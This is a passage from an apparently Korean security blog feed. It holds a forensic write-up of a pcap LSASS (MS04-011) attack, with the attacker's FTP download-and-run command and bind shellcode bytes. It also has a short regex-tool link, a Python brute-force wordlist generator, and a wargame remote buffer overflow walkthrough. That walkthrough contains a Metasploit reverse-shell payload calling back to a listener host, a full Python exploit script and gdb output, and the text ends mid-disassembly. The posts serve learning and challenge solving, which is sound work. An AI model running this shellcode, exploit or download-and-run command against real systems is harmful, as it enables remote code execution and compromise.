98.114.205.102 시스템이며 공격 받는쪽은 192.150.11.111 시스템이다.\nQ2. What can you find out about the attacking host (e.g., where is it located)? (2pts) 공격자의 위치를 묻는 문제이다. 공격자는 98.114.205.102 IP의 시스템이였으므로 아래 사이트에서 확인해 보자. http://www.robtex.com/ip/98.114.205.102.html#whois\nQ3. How many TCP sessions are contained in the dump file? (2pts) TCP 패킷 갯수를 묻는 문제이다. Wireshark 에서 \u0026quot;TCP\u0026quot; 로 필터를 걸어 확인하면 348개의 패킷을 확인할 수 있다.\nQ4. How long did it take to perform the attack? (2pts) 공격이 얼마동안 진행되었는지를 묻는 문제로 보이며 역시 Wireshark 의 마지막 패킷을 보면 시간을 확인할 수 있다. 16.219218\nQ5. Which operating system was targeted by the attack? And which service? Which vulnerability? (6pts) 우선 Wireshark에서 패킷에서 #14를 보면 Windows 2000 인지 확인하는 부분이 있다. 따라서 타켓 OS는 Windows 2000 이다.\n그리고 취약점을 살펴보면 패킷 중 DsRoleUpgradeDownlevelServer request 라는 부분이 있다. 구글에서 \u0026quot;DsRoleUpgradeDownlevelServer\u0026quot; 로 검색을 해보면 아래와 같은 취약점을 확인할 수 있다. Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow (CVE-2003-0533, MS04-011) http://www.exploit-db.com/exploits/16368/\nQ6. Can you sketch an overview of the general actions performed by the attacker? (6pts) 공격에 대한 대략적인 스케치를 해보라는 문제 같은데 패킷을 분석해보면 공격 방법은 아래와 같다.\nMicrosoft LSASS Service DsRolerUpgradeDownlevelServer Overflow 취약점을 이용하여 쉘코드 실행. 쉘코드 실행 후 아래 명령어 수행. (해당 명령어는 Wireshark에서 #42 번째에서 확인할 수 있다.) 1 echo open 0.0.0.0 8884 \u0026gt; o\u0026amp;echo user 1 1 \u0026gt;\u0026gt; o \u0026amp;echo get ssms.exe \u0026gt;\u0026gt; o \u0026amp;echo quit \u0026gt;\u0026gt; o \u0026amp;ftp -n -s:o \u0026amp;del /F /Q o \u0026amp;ssms.exe 위 명령어를 통해 ssms.exe 실행 후 악성코드 감염. Q7. What specific vulnerability was attacked? (2pts) Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow\nQ8. What actions does the shellcode perform? Pls list the shellcode. (8pts) 쉘코드를 분석하라는 문제로 보인다. Wireshark에서 #29번째 패킷을 보면 NOP(0x90) 코드가 존재하는 것으로 보아 해당 부분이 쉘코드로 보인다. 아래 코드만 따로 떼어 저장 후 libemu(http://libemu.mwcollect.org)를 수정하여 만든 scdbg(http://sandsprite.com/blogs/index.php?uid=7\u0026pid=152)를 이용하여 분석을 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00000016 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00000032 EB 10 5A 4A 33 C9 66 B9 7D 01 80 34 0A 99 E2 FA ?ZJ3?? €4 쇺? 00000048 EB 05 E8 EB FF FF FF 70 95 98 99 99 C3 FD 38 A9 ?堯p븯솛츳8? 00000064 99 99 99 12 D9 95 12 E9 85 34 12 D9 91 12 41 12 솛?? ?4 ? A 00000080 EA A5 12 ED 87 E1 9A 6A 12 E7 B9 9A 62 12 D7 8D 蔚 ??j 濚쉇 ? 00000096 AA 74 CF CE C8 12 A6 9A 62 12 6B F3 97 C0 6A 3F 챫鷗?쬃b k?픧? 00000112 ED 91 C0 C6 1A 5E 9D DC 7B 70 C0 C6 C7 12 54 12 ?읗 ^ ?p읗?T 00000128 DF BD 9A 5A 48 78 9A 58 AA 50 FF 12 91 12 DF 85 颯쉅Hx쉃챀 ?? 00000144 9A 5A 58 78 9B 9A 58 12 99 9A 5A 12 63 12 6E 1A 쉅Xx썧X 솞Z c n 00000160 5F 97 12 49 F3 9A C0 71 1E 99 99 99 1A 5F 94 CB _?I?픮 솛?_붘 00000176 CF 66 CE 65 C3 12 41 F3 9C C0 71 ED 99 99 99 C9 ???A?픮?솛? 00000192 C9 C9 C9 F3 98 F3 9B 66 CE 75 12 41 5E 9E 9B 99 섘쌸? A^옕? 00000208 9E 3C AA 59 10 DE 9D F3 89 CE CA 66 CE 69 F3 98 ?챍 ??狂f?? 00000224 CA 66 CE 6D C9 C9 CA 66 CE 61 12 49 1A 75 DD 12 ???? I u? 00000240 6D AA 59 F3 89 C0 10 9D 17 7B 62 10 CF A1 10 CF m챍?? {b 區 ? 00000256 A5 10 CF D9 FF 5E DF B5 98 98 14 DE 89 C9 CF AA ?裙^森삓 ?? 00000272 50 C8 C8 C8 F3 98 C8 C8 5E DE A5 FA F4 FD 99 14 P훑흴샠?裨浹? 00000288 DE A5 C9 C8 66 CE 79 CB 66 CE 65 CA 66 CE 65 C9 裨f?????? 00000304 66 CE 7D AA 59 35 1C 59 EC 60 C8 CB CF CA 66 4B f?챍5 Y?훙銶fK 00000320 C3 C0 32 7B 77 AA 59 5A 71 76 67 66 66 DE FC ED 쳄2{w챍Zqvgff數? 00000336 C9 EB F6 FA D8 FD FD EB FC EA EA 99 DA EB FC F8 濁麵凞獪?潘孝 00000352 ED FC C9 EB F6 FA FC EA EA D8 99 DC E1 F0 ED CD 贓濁獪葦쇴鎖雀 00000368 F1 EB FC F8 FD 99 D5 F6 F8 FD D5 F0 FB EB F8 EB 衆孝?歷飄驢魂幅 00000384 E0 D8 99 EE EA AB C6 AA AB 99 CE CA D8 CA F6 FA 鮮숊原튠쳶狂襪濁 00000400 F2 FC ED D8 99 FB F0 F7 FD 99 F5 F0 EA ED FC F7 潗簪숞棕?春悠嚆 00000416 99 F8 FA FA FC E9 ED 99 FA F5 F6 EA FC EA F6 FA 숚頰灰?狹朶獪濁 00000432 F2 FC ED 99 90 90 90 90 90 90 90 90 90 90 90 90 潗? 00000448 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00000464 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 scdbg를 통해 확인한 화면\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 C:\\Users\\ByJJoon\\Downloads\\scdbg\u0026gt;scdbg.exe -f bin Loaded 1e0 bytes from file bin Initilization Complete.. Max Steps: 1000000 Using base offset: 0x401000 401140 GetProcAddress(CreateProcessA) 401140 GetProcAddress(ExitThread) 401140 GetProcAddress(LoadLibraryA) 4010b4 LoadLibraryA(ws2_32) 401140 GetProcAddress(WSASocketA) 401140 GetProcAddress(bind) 401140 GetProcAddress(listen) 401140 GetProcAddress(accept) 401140 GetProcAddress(closesocket) 4010ca WSASocket(2, 1, 0) 4010de bind(port: 1957 ) 4010e4 listen(h=4711) 4010ea accept(h=4711) 401127 CreateProcessA( cmd, ) 40112b closesocket(h=ffffffff) 40112f closesocket(h=4711) 401133 ExitThread(-1) stepcount 7512 libemu를 통해 확인한 화면\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 [byjjoon@ByJJoon shellcode]$ /opt/libemu/bin/sctest -Ss 100000 \u0026lt; bin verbose = 0 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 7c800000 procname name is \u0026#39;CreateProcessA\u0026#39; dll is kernel32 7c800000 7c800000 found CreateProcessA at addr 7c802367 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 7c800000 procname name is \u0026#39;ExitThread\u0026#39; dll is kernel32 7c800000 7c800000 found ExitThread at addr 7c80c058 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 7c800000 procname name is \u0026#39;LoadLibraryA\u0026#39; dll is kernel32 7c800000 7c800000 found LoadLibraryA at addr 7c801d77 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:661 env_w32_hook_LoadLibrayA Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 71a10000 procname name is \u0026#39;WSASocketA\u0026#39; dll is ws2_32 71a10000 71a10000 found WSASocketA at addr 71a18769 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 71a10000 procname name is \u0026#39;bind\u0026#39; dll is ws2_32 71a10000 71a10000 found bind at addr 71a13e00 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 71a10000 procname name is \u0026#39;listen\u0026#39; dll is ws2_32 71a10000 71a10000 found listen at addr 71a188d3 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 71a10000 procname name is \u0026#39;accept\u0026#39; dll is ws2_32 71a10000 71a10000 found accept at addr 71a21028 Hook me Captain Cook! environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress module ptr is 71a10000 procname name is \u0026#39;closesocket\u0026#39; dll is ws2_32 71a10000 71a10000 found closesocket at addr 71a19639 Hook me Captain Cook! environment/win32/env_w32_dll_export_ws2_32_hooks.c:461 env_w32_hook_WSASocketA SOCKET WSASocket(af=2, type=1, protocol=0, lpProtocolInfo=0, group=0, dwFlags=0); socket 3 Hook me Captain Cook! environment/win32/env_w32_dll_export_ws2_32_hooks.c:101 env_w32_hook_bind bind(s=3, name=41716d, namelen=16 host 0.0.0.0 port 1957 Hook me Captain Cook! environment/win32/env_w32_dll_export_ws2_32_hooks.c:231 env_w32_hook_listen listen(s=3, backlog=1) Hook me Captain Cook! environment/win32/env_w32_dll_export_ws2_32_hooks.c:58 env_w32_hook_accept accept(s=3, addr=0, addrlen=0); scdbg를 통해 확인해보면 Bind 쉘코드이며 포트는 1957번을 오픈하는 것으로 보인다.\nQ9. Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts) 음?\nQ10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge) (2pts) 아래 명령어를 통해 전송된 파일은 ssms.exe 파일이다.\n1 echo open 0.0.0.0 8884 \u0026gt; o\u0026amp;echo user 1 1 \u0026gt;\u0026gt; o \u0026amp;echo get ssms.exe \u0026gt;\u0026gt; o \u0026amp;echo quit \u0026gt;\u0026gt; o \u0026amp;ftp -n -s:o \u0026amp;del /F /Q o \u0026amp;ssms.exe 해당 파일을 Wireshark에서 추출하여 보면 MD5값은 14a09a48ad23fe0ea5a180bee8cb750a 이다. 해당 MD5 값으로 VirusTotal 사이트에서 확인하면 아래와 같다. http://www.virustotal.com/file-scan/report.html?id=b14ccb3786af7553f7c251623499a7fe67974dde69d3dffd65733871cddf6b6d-1299265132\nQ11. Do you think this is a manual or an automated attack? Why? (2pts) 이 공격이 자동화 된 공격인지 혹은 수동으로 한 공격인지를 묻는 문제로 보인다. 당연히 자동화된 공격아닌가? -_-a\n","date":"2011-03-15T17:51:11Z","permalink":"/2011/03/15/challenge-1-of-the-forensic-challenge-2010-pcap-attack-trace/","title":"Challenge 1 of the Forensic Challenge 2010 - pcap attack trace"},{"content":"정규식을 작성할때 내가 작성한 정규식이 제대로 매칭 되는지 확인할 필요가 있습니다. 그럴 경우에 유용하게 사용되는 툴이라 기록해 둡니다.\nhttp://kodos.sourceforge.net/\n","date":"2011-03-08T08:21:35Z","permalink":"/2011/03/08/kodos-the-python-regular-expression-debugger/","title":"KODOS :: The Python Regular Expression Debugger"},{"content":"Bruteforce 용 사전 파일 생성 시 예제 코드 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #!C:\\Python27\\Python.exe #-*- coding:utf-8 -*- import itertools alpha = \u0026#39;123\u0026#39; \u0026#39;\u0026#39;\u0026#39; 111 112 113 122 123 133 222 223 233 333 \u0026#39;\u0026#39;\u0026#39; for s in itertools.combinations_with_replacement(alpha, 3): output = \u0026#39;\u0026#39;.join(s) print output \u0026#39;\u0026#39;\u0026#39; 123 132 213 231 312 321 \u0026#39;\u0026#39;\u0026#39; for s in itertools.permutations(alpha, 3): output = \u0026#39;\u0026#39;.join(s) print output \u0026#39;\u0026#39;\u0026#39; 111 112 113 121 122 123 131 132 133 211 212 213 221 222 223 231 232 233 311 312 313 321 322 323 331 332 333 \u0026#39;\u0026#39;\u0026#39; length = 3 for s in itertools.product(alpha, repeat=length): output = \u0026#39;\u0026#39;.join(s) print output 참고로 combinations_with_replacement() 함수는 Python 2.7 버전에서 추가된거 같네요.\n","date":"2011-03-07T09:09:17Z","permalink":"/2011/03/07/bruteforce-%EC%9A%A9-%EC%82%AC%EC%A0%84%ED%8C%8C%EC%9D%BC-%EC%83%9D%EC%84%B1/","title":"Bruteforce 용 사전파일 생성"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 /* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;errno.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;netinet/in.h\u0026gt; #include \u0026lt;sys/socket.h\u0026gt; #include \u0026lt;sys/wait.h\u0026gt; #include \u0026lt;dumpcode.h\u0026gt; main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror(\u0026#34;socket\u0026#34;); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(\u0026amp;(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)\u0026amp;server_addr, sizeof(struct sockaddr)) == -1){ perror(\u0026#34;bind\u0026#34;); exit(1); } if(listen(server_fd, 10) == -1){ perror(\u0026#34;listen\u0026#34;); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)\u0026amp;client_addr, \u0026amp;sin_size)) == -1){ perror(\u0026#34;accept\u0026#34;); continue; } if (!fork()){ send(client_fd, \u0026#34;Death Knight : Not even death can save you from me!\\n\u0026#34;, 52, 0); send(client_fd, \u0026#34;You : \u0026#34;, 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) \u0026gt; 0); } close(server_fd); } 이번 문제는 Remote BOF 문제이다. 포트를 6666번을 열고 프로세스를 하나 fork 하면서 데몬이 동작하게 된다. 취약점은 buffer 변수의 크기보다 큰 데이터를 recv() 함수에서 받도록 되어 있어 해당 부분에서 오버플로우가 발생할 수 있다. 따라서 attach를 하여 디버깅을 하여 보도록 하자. 디버깅 전 우선 리모트로 공격을 하기 위한 코드를 작성해보자.\n먼저 쉘코드이다. 쉘코드는 Metasploit에 있는 쉘코드를 이용해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 _ _ _ | | (_)_ ____ ____| |_ ____ ___ ____ | | ___ _| |_ | \\ / _ ) _)/ _ |/___) _ \\| |/ _ \\| | _) | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__ |_|_|_|\\____)\\___)_||_(___/| ||_/|_|\\___/|_|\\___) |_| =[ metasploit v3.6.0-dev [core:3.6 api:1.0] + -- --=[ 644 exploits - 328 auxiliary + -- --=[ 216 payloads - 27 encoders - 8 nops =[ svn r11749 updated today (2011.02.14) msf \u0026gt; show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- . . . [생략] . . . linux/x86/shell/find_tag normal Linux Command Shell, Find Tag Stager linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6) linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6) linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/x86/shell_find_port normal Linux Command Shell, Find Port Inline linux/x86/shell_find_tag normal Linux Command Shell, Find Tag Inline linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/shell_reverse_tcp2 normal Linux Command Shell, Reverse TCP Inline - Metasm demo netware/shell/reverse_tcp normal NetWare Command Shell, Reverse TCP Stager osx/armle/execute/bind_tcp normal OSX Write and Execute Binary, Bind TCP Stager osx/armle/execute/reverse_tcp normal OSX Write and Execute Binary, Reverse TCP Stager osx/armle/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager osx/armle/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager . . . msf \u0026gt; use linux/x86/shell_reverse_tcp msf payload(shell_reverse_tcp) \u0026gt; show options Module options (payload/linux/x86/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address LPORT 4444 yes The listen port msf payload(shell_reverse_tcp) \u0026gt; set LHOST 192.168.3.1 LHOST =\u0026gt; 192.168.3.1 msf payload(shell_reverse_tcp) \u0026gt; generate # linux/x86/shell_reverse_tcp - 71 bytes # http://www.metasploit.com # LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependChrootBreak=false, # AppendExit=false, InitialAutoRunScript=, AutoRunScript= buf = \u0026#34;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\u0026#34; + \u0026#34;\\x80\\x5b\\x5e\\x68\\xc0\\xa8\\x03\\x01\\x66\\x68\\x11\\x5c\\x66\\x53\u0026#34; + \u0026#34;\\x6a\\x10\\x51\\x50\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x59\\x87\u0026#34; + \u0026#34;\\xd9\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x50\\x68\\x2f\\x2f\\x73\\x68\u0026#34; + \u0026#34;\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\u0026#34; + \u0026#34;\\x80\u0026#34; msf payload(shell_reverse_tcp) \u0026gt; 이제 Python으로 공격용 코드를 작성해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/usr/bin/env python import sys import socket import time from struct import pack # linux/x86/shell_reverse_tcp - 71 bytes # http://www.metasploit.com # LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependChrootBreak=false, # AppendExit=false, InitialAutoRunScript=, AutoRunScript= shellcode = \u0026#39;\u0026#39; shellcode += \u0026#39;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\u0026#39; shellcode += \u0026#39;\\x80\\x5b\\x5e\\x68\\xc0\\xa8\\x03\\x01\\x66\\x68\\x11\\x5c\\x66\\x53\u0026#39; shellcode += \u0026#39;\\x6a\\x10\\x51\\x50\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x59\\x87\u0026#39; shellcode += \u0026#39;\\xd9\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x50\\x68\\x2f\\x2f\\x73\\x68\u0026#39; shellcode += \u0026#39;\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\u0026#39; shellcode += \u0026#39;\\x80\u0026#39; def send_payload(host, port, payload): print \u0026#39;[+] Connect - %s:%d\u0026#39; % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) a = s.recv(128) print \u0026#39;[+] Receive - %s\u0026#39; % a ####################### # DEGUG debug = raw_input(\u0026#39;Please hit enter to continue\u0026#39;) ####################### print \u0026#39;[+] Sending Payload\u0026#39; s.send(payload) s.close() def main(): host = \u0026#39;192.168.3.129\u0026#39; port = 31337 payload = \u0026#39;\u0026#39; payload += \u0026#39;A\u0026#39;*44 payload += pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbbbbbbbb) payload += \u0026#39;\\x90\u0026#39;*100 payload += shellcode send_payload(host, port, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat!\u0026#39; main() 이제 모두 준비가 완료되었으니 디버깅을 해보도록 하자. 현재 서버에서 6666 포트로 데몬이 동작하고 있으나 해당 데몬을 디버깅 할 수 있는 권한이 없으므로 소스를 포트번호만 31337로 수정 후 컴파일 하여 아래와 같이 실행을 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [xavius@localhost xavius]$ cp death_knight.c death_knight_modify.c [xavius@localhost xavius]$ gcc death_knight_modify.c -o death_knight_modify [xavius@localhost xavius]$ ls death_knight death_knight.c death_knight_modify death_knight_modify.c [xavius@localhost xavius]$ ./death_knight_modify \u0026amp; [1] 682 [xavius@localhost xavius]$ id uid=519(xavius) gid=519(xavius) groups=519(xavius) [xavius@localhost xavius]$ ps -ef | grep xavius death_kn 632 1 0 23:07 ? 00:00:00 /home/xavius/death_knight root 643 642 0 23:08 pts/0 00:00:00 login -- xavius xavius 644 643 0 23:09 pts/0 00:00:00 -bash2 xavius 682 644 0 23:23 pts/0 00:00:00 ./death_knight_modify xavius 687 644 0 23:23 pts/0 00:00:00 ps -ef xavius 688 644 0 23:23 pts/0 00:00:00 -bash2 [xavius@localhost xavius]$ 현재 PID가 682번으로 데몬이 동작함을 알 수 있다. 여기서 위에서 작성한 Python 공격 코드를 실행하게 되면 Payload 전송 전 커서를 입력받도록 대기를 하게 되며 이 순간에 해당 데몬은 새로운 자식 프로세스를 fork 하게 된다. 아래는 위에서 작성한 Python 공격 코드를 실행 후 엔터를 치기 전 상태이다.\n1 2 3 4 5 6 7 8 9 [xavius@localhost xavius]$ ps -ef | grep xavius death_kn 632 1 0 23:07 ? 00:00:00 /home/xavius/death_knight root 643 642 0 23:08 pts/0 00:00:00 login -- xavius xavius 644 643 0 23:09 pts/0 00:00:00 -bash2 xavius 682 644 0 23:23 pts/0 00:00:00 ./death_knight_modify xavius 916 682 0 23:34 pts/0 00:00:00 ./death_knight_modify xavius 919 644 0 23:35 pts/0 00:00:00 ps -ef xavius 920 644 0 23:35 pts/0 00:00:00 -bash2 [xavius@localhost xavius]$ PID 682번이 자식 프로세스로 916 PID 프로세스를 생성했음을 알 수 있다. 따라서 우리는 916 프로세스에 attach를 하여 디버깅을 해야 한다. 디버깅 하는 과정은 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 [xavius@localhost xavius]$ gdb death_knight_modify GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux\u0026#34;... (gdb) attach 916 Attaching to program: /home/xavius/death_knight_modify, Pid 916 Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. 0x400cabc2 in __libc_recv () from /lib/libc.so.6 (gdb) disassemble main Dump of assembler code for function main: 0x80488c4 \u0026lt;main\u0026gt;: push %ebp 0x80488c5 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x80488c7 \u0026lt;main+3\u0026gt;: sub $0x54,%esp 0x80488ca \u0026lt;main+6\u0026gt;: push $0x0 0x80488cc \u0026lt;main+8\u0026gt;: push $0x1 0x80488ce \u0026lt;main+10\u0026gt;: push $0x2 0x80488d0 \u0026lt;main+12\u0026gt;: call 0x804861c \u0026lt;socket\u0026gt; 0x80488d5 \u0026lt;main+17\u0026gt;: add $0xc,%esp 0x80488d8 \u0026lt;main+20\u0026gt;: mov %eax,%eax 0x80488da \u0026lt;main+22\u0026gt;: mov %eax,0xffffffd4(%ebp) 0x80488dd \u0026lt;main+25\u0026gt;: cmpl $0xffffffff,0xffffffd4(%ebp) 0x80488e1 \u0026lt;main+29\u0026gt;: jne 0x8048900 \u0026lt;main+60\u0026gt; 0x80488e3 \u0026lt;main+31\u0026gt;: push $0x8048afb 0x80488e8 \u0026lt;main+36\u0026gt;: call 0x804853c \u0026lt;perror\u0026gt; 0x80488ed \u0026lt;main+41\u0026gt;: add $0x4,%esp 0x80488f0 \u0026lt;main+44\u0026gt;: push $0x1 0x80488f2 \u0026lt;main+46\u0026gt;: call 0x80485dc \u0026lt;exit\u0026gt; 0x80488f7 \u0026lt;main+51\u0026gt;: add $0x4,%esp 0x80488fa \u0026lt;main+54\u0026gt;: lea 0x0(%esi),%esi 0x8048900 \u0026lt;main+60\u0026gt;: movw $0x2,0xffffffc0(%ebp) 0x8048906 \u0026lt;main+66\u0026gt;: push $0x7a69 0x804890b \u0026lt;main+71\u0026gt;: call 0x80485fc \u0026lt;htons\u0026gt; 0x8048910 \u0026lt;main+76\u0026gt;: add $0x4,%esp 0x8048913 \u0026lt;main+79\u0026gt;: mov %eax,%eax 0x8048915 \u0026lt;main+81\u0026gt;: mov %ax,0xffffffc2(%ebp) 0x8048919 \u0026lt;main+85\u0026gt;: movl $0x0,0xffffffc4(%ebp) 0x8048920 \u0026lt;main+92\u0026gt;: push $0x8 0x8048922 \u0026lt;main+94\u0026gt;: lea 0xffffffc0(%ebp),%eax 0x8048925 \u0026lt;main+97\u0026gt;: lea 0x8(%eax),%edx 0x8048928 \u0026lt;main+100\u0026gt;: push %edx 0x8048929 \u0026lt;main+101\u0026gt;: call 0x80485cc \u0026lt;bzero\u0026gt; 0x804892e \u0026lt;main+106\u0026gt;: add $0x8,%esp 0x8048931 \u0026lt;main+109\u0026gt;: push $0x10 0x8048933 \u0026lt;main+111\u0026gt;: lea 0xffffffc0(%ebp),%edx 0x8048936 \u0026lt;main+114\u0026gt;: mov %edx,%eax 0x8048938 \u0026lt;main+116\u0026gt;: push %eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048939 \u0026lt;main+117\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x804893c \u0026lt;main+120\u0026gt;: push %eax 0x804893d \u0026lt;main+121\u0026gt;: call 0x80485bc \u0026lt;bind\u0026gt; 0x8048942 \u0026lt;main+126\u0026gt;: add $0xc,%esp 0x8048945 \u0026lt;main+129\u0026gt;: mov %eax,%eax 0x8048947 \u0026lt;main+131\u0026gt;: cmp $0xffffffff,%eax 0x804894a \u0026lt;main+134\u0026gt;: jne 0x8048963 \u0026lt;main+159\u0026gt; 0x804894c \u0026lt;main+136\u0026gt;: push $0x8048b02 0x8048951 \u0026lt;main+141\u0026gt;: call 0x804853c \u0026lt;perror\u0026gt; 0x8048956 \u0026lt;main+146\u0026gt;: add $0x4,%esp 0x8048959 \u0026lt;main+149\u0026gt;: push $0x1 0x804895b \u0026lt;main+151\u0026gt;: call 0x80485dc \u0026lt;exit\u0026gt; 0x8048960 \u0026lt;main+156\u0026gt;: add $0x4,%esp 0x8048963 \u0026lt;main+159\u0026gt;: push $0xa 0x8048965 \u0026lt;main+161\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048968 \u0026lt;main+164\u0026gt;: push %eax 0x8048969 \u0026lt;main+165\u0026gt;: call 0x804856c \u0026lt;listen\u0026gt; 0x804896e \u0026lt;main+170\u0026gt;: add $0x8,%esp 0x8048971 \u0026lt;main+173\u0026gt;: mov %eax,%eax 0x8048973 \u0026lt;main+175\u0026gt;: cmp $0xffffffff,%eax 0x8048976 \u0026lt;main+178\u0026gt;: jne 0x8048990 \u0026lt;main+204\u0026gt; 0x8048978 \u0026lt;main+180\u0026gt;: push $0x8048b07 0x804897d \u0026lt;main+185\u0026gt;: call 0x804853c \u0026lt;perror\u0026gt; 0x8048982 \u0026lt;main+190\u0026gt;: add $0x4,%esp 0x8048985 \u0026lt;main+193\u0026gt;: push $0x1 0x8048987 